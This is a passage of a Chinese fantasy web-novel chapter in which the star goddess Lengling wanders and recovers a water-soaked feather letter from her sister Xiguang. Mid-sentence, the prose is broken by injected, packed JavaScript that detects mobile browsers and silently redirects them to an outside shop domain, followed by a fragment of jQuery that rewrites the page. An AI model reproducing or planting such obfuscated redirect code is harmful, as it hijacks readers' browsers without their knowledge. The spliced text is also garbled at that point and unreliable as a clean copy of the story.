冷灵走出村子的时候，天已经黑了。
她走到村外的山坡上，终于停下来，回头看了一眼，那座村庄很小，灯火三两点，像一颗遗落在山间的碎星。
榕树的方向黑漆漆的，她已经看不到那个男孩了。
她低头看了看自己的掌心。
漏出去的星光已经自己慢慢聚回来了，她没想漏的，但在那个男孩面前蹲下的时候，星光就像不听使唤的水一样流了出去。
她不知道为什么会这样。
也许是因为那个男孩让她想起了另一个人，一个也被人说不祥，也被孤立，也一个人蹲在角落里的存在。
她握了握拳。星光在指缝间亮了亮，又暗了下去。
"……你叫什么？"她自言自语，学着男孩的语气。
"没有。"
她停了一会儿，又说："那你现在有了。叫忘川。"
那名字说出口的一瞬间，她觉得有什么东西在胸腔里轻轻动了一下，不是痛，是一种被记住了的暖意。
她自己也被记住了。虽然那个男孩不知道她是谁，但他记住了她的话。
她继续走。
星光在她身后拖成一条细细的，银白色的尾迹，在夜风中一点一点地消散，像一句被吹散了的话。
她没有再回头。
但她在心里说了一句，如果有一天我们再见面，我会告诉你，为什么给你起这个名字。不是因为忘川河会忘记。
是因为忘川河，永远不会干。
她不知道的是，很多很多年后，她会再一次见到他。
那时候他已经长大了，穿着黑袍，腰间挂着铜镜，站在冥河渡口，面无表情地看着她。眼神中的情绪，早就有了变化。
她不知道他是谁。
但他知道她是谁。
他等了她很久。
在冷灵遇见那个男孩的时候，曦光正坐在日神殿的窗台上。
日神殿很高，高得能看见整个天庭。
但她不看天庭。她看的是天庭之外那片她们一起造的天幕，还有天幕上那些她妹妹画的星星。
太阳黑子越来越多，越来越多。
她的光在变暗，但她不在乎。
她每天早晨准时升起太阳，这是她留下来的价值。如果连太阳都升不好，她就连最后这点用处都没了。
流光星君偶尔会来看她。他给她带一些人间的小东西，一朵花，一块石子，一片被虫蛀过的叶子。
"你今天好点了吗？"流光问。
"我一直很好。"曦光道。
"你的光又薄了。"流光提醒她。
"是季节到了。"曦光脸上没什么表情。
"光没有季节。"流光揭穿她。
曦光没有接话。她把那片叶子放在掌心里看，金的，半透明的，叶脉像一条条细小的河流。
半晌，她开口问道："……她怎么样了？"
流光星君知道她在问谁，答道："听说还在走。没有停。"
"走到哪了？"
"不知道。但还在走。"
曦光把叶子举起来，对着光看。
光透过叶脉，在她脸上投下细细的，金色的纹路。"那就好。走着就好。走着说明还亮着。"
流光看着她。她想说，你不想见见她吗，但她没有问。因为她知道答案。
后来有一天，曦光用自己的一根羽毛写了一封信：妹妹，我会等你回来，无论多久。
她把羽毛交给流光星君。流光星君把它送出了天庭。但羽毛被忘情司的巡逻者截获了，被丢进了忘川河里。
金红色的羽毛在水面上漂了一会儿，然后慢慢沉了下去，像一盏被吹灭的灯。
曦光不知道这封信没有送到。她只是每天坐在窗台上，等。
等一个不会来的回信。等一个不知道什么时候才会出现的人。
她等了很多很多年。
等成了习惯。
很多很多年后，冷灵在流浪途中路过一片水域，停下来喝水。
水很清，能看见底。
她低头的时候，看到水底有一根金色的羽毛，半透明的，被流水冲刷得边缘有些模糊了，但颜色还在，像一颗泡了很久的琥珀。
她伸手把它捞出来。
羽毛湿漉漉的，但碰到她指尖的时候，微微发了一下热，那种热她太熟悉了。
金红色的，暖融融的，像早晨第一缕阳光晒在后颈上的温度。
曦光的羽毛。
冷灵盯着它看了很久。水从她的指缝间滴下来，一滴一滴，在石头上溅出小小的，碎裂的声音。
"……你什么时候写的？"她轻声问。
羽毛不会回答。羽毛只是安静地躺在她手心里，像一句被水泡软了的话。
冷灵把它贴在自己的心口。
银白色的光覆上去，把羽毛裹住。羽毛在星光里微微亮了亮，像一颗重新跳动起来的心。
"我收到了。"她说。
她不知道这封信写了什么，字迹已经被水泡得模糊不清了，只看得出一个回字和一个久字。
但够用了。一个回字，就知道是等她回去，一个久字，就知道等了很久。
她把羽毛折好，放进贴身的衣襟里。
然后继续走。她的步子比之前快了一点。
星光的尾迹也短了一点，不是她变强了，是她不再往地上漏了。
她学会把光收住了，像学会把一句想说的话咽回去一样。
那颗西南方向的星星又亮了一些。
冷灵走远了。
在她身后，那颗星星在夜空中微微闪了闪，像有人在看不见的地方朝它挥了挥手。
而在更远更远的地方，日神殿的窗台上，金红色的光在那一天忽然亮了一瞬，只有一瞬。
曦光低头看了看自己的掌心，发现自己的星光正在微微发烫。
"……你收到了？"曦光轻声问。
但没有人回答。
不过她的嘴角弯了一下。
那是一个很轻，很浅的笑，像一根被风吹歪了的蜡烛火焰。
她没有等到回信。但她知道，她等的人，收到了。
那就够了……
冷灵把那根金红色的羽毛从水里捞出来之后，在岸边坐了很久。
羽毛湿透了，软塌塌地贴在她的掌心，边缘被流水冲刷得有些模糊，但颜色还在，那种金红色，她闭着眼睛都能认出来。
她把羽毛翻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808644|210759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过来，对着天光看。
上面确实有字。但字迹被泡得太久了，大部分已经化成了模糊的金色晕痕，只剩两三个字还勉强可辨，一个回字，一个久字。
"回……久？"冷灵轻声念了一遍。
她皱着眉，把羽毛凑近了看。"回去？回来？多久？很久？"
羽毛不回答她。
她叹了一口气，把羽毛贴在胸口。
银白色的星光从她掌心渗出来，裹住那根金红色的羽毛，像给一件旧东西镀上了一层新的保护。
水汽在星光中慢慢蒸发，羽毛的边缘微微卷曲起来，但颜色反而更亮了。
"你到底写了什么？"冷灵对着羽毛说，"你写了这么多字，就剩两个能看的。你这封信写得也太不划算了吧。"
羽毛在她掌心跳了跳，不是活的，是残余的光在她星辉的包裹下被激活了一瞬。
像一颗被泡发了的种子，忽然想起了自己还是一粒种子。
冷灵盯着它看了很久。
然后她做了一个决定，她要把这封信复原。
不是为了看内容，是为了证明它存在过。
她不知道为什么要证明这个。也
许是证明曦光在日神殿的窗台上坐着的那些年里，真的动过笔。真的试图联系她。不是她一个人的妄想。
她把羽毛放进随身带着的那个小布袋里，布袋里还有晨光发绳，星辉手环，以及一口她从曦光留下的一堆锅里面顺手拿走的破锅的锅盖。
虽然她也不知道走的时候，为什么把锅盖给顺了过来。
羽毛塞进去之后，布袋鼓鼓囊囊的，像一只吃撑了的兔子。
"你挤一挤。"冷灵拍了拍布袋，不知道在跟谁说，"里面还有位置。"
布袋抖了一下。她把袋口扎紧，挂在腰带上，然后站起来，继续走。
走了大约三天，她路过一座小镇。
镇上有一个瞎眼的老婆婆在摆摊卖解字，面前摆着一块磨得发亮的石板和一盆清水。
她看起来和所有摆摊算命的没什么两样，但冷灵走到她摊位前的时候，老婆婆忽然说了一句，"你身上有湿的东西。"
冷灵的脚步顿住了，想了想道："……我身上没有湿的。"
"你有。湿了很久了。泡在水里很久了。"老婆婆道。
冷灵看着她那双灰白色的，什么都看不见的眼睛，忽然觉得喉咙有点紧。"……您说的是什么意思？"
"你把那个湿的东西拿出来。我看看。"老婆婆道。
冷灵犹豫了一下，还是把布袋解开了。
羽毛被取出来的时候，边缘还带着一丝水汽，虽然泡了很久，但可能因为被她的星光裹着，始终没有完全干透。
老婆婆接过羽毛，在掌心里摸了摸，然后把指尖浸入面前那碗清水中。
水面微微颤动了一下。
"这封信，"老婆婆说，"被扔进了一条河里。扔进去的时候，字都还在。但水太急了，泡了太久，字迹就散了。"
"您能复原吗？"冷灵连忙问道，语气中还带着一些紧张。
此刻，她的内心十分复杂。
她想要知道曦光要跟她说什么，又怕得到的消息不是自己想要的。